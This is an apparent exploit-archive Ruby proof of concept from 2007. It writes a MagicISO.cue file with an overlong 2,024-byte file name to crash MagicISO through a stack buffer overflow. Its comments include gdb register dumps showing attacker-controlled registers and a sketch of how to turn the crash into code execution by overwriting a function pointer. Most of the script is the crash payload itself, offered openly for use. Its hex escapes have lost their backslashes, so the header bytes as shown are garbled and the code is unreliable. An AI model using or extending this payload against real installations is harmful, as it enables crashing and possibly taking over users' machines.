#!/usr/bin/env ruby
###################################
#Credits to n00b for finding this bug.
#Magic iso has a stacked based buffer over-flow when 
#We pass an overly-long file name inside the .cue file
#We are able to control alot of the registers so
#Command execution is possible,But im still learning 
#Which means this will get released as a dos poc for 
#now till i can get the help i need..Any way i will provide 
#The dubug info for you to see for your self..If any one 
#Decides to write a Local exploit for this please give 
#Credits to n00b..Ok on with the work of info collecting.
#Vendor : http://www.magiciso.com/
#Tested on win xp sp2.
#I would also like to thank the people i emailed and pm about this
#Shouts:  ~  Str0ke  ~  Marsu  ~  SM  ~ Aelphaeis  ~  vade79
#              Thanx to all you guys who helped.
###################################
#...Debug info..
# Program received signal SIGSEGV, Segmentation fault.
#  [Switching to thread 1092.0x314]
# 0x0058f05e in ?? ()
# (gdb) i r
# eax            0x41414141       1094795585
# ecx            0x41414141       1094795585
# edx            0x41414141       1094795585
# ebx            0x41414545       1094796613
# esp            0x12f5c8 0x12f5c8
# ebp            0x12f5ec 0x12f5ec
# esi            0xf4e718 16049944
# edi            0xf4eb1c 16050972
# eip            0x58f05e 0x58f05e
# eflags         0x10206  66054
# cs             0x1b     27
# ss             0x23     35
# ds             0x23     35
# es             0x23     35
# fs             0x3b     59
# gs             0x0      0
# fctrl          0xffff1273       -60813
# fstat          0xffff0000       -65536
# ftag           0xffffffff       -1
# fiseg          0x0      0
# fioff          0x0      0
# foseg          0xffff0000       -65536
# fooff          0x0      0
# ---Type <return> to continue, or q <return> to quit---
# fop            0x0      0
# (gdb)
###################################
#As you can see from the debug info we control eax ecx edx..
#The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that 
#is used to overflow the heap buffer. One of the address can be of a function pointer which needs to be overwritten, for 
#example UEF and the other can be address of user supplied code that needs to be executed.

$VERBOSE=nil  #~ Shut the fuck up Let me do it my way ruby's over-zealous warnings..

Header1 =         
           "x46x49x4cx45x20x22"


Bof = 'A'* 2024

Header2  =   "x2ex42x49x4ex22x20x42x49x4ex41x52x59x0dx0ax20"+
                  "x54x52x41x43x4bx20x30x31x20x4dx4fx44x45x31x2fx32"+
                  "x33x35x32x0dx0ax20x20x20x49x4ex44x45x58x20x30x31"+
                  "x20x30x30x3ax30x30x3ax30x30"

n00b = Header1  + Bof + Header2
  
File.open( "MagicISO.cue", "w" ) do |the_file|

the_file.puts (n00b)

end

# www.Syue.com [2007-05-17]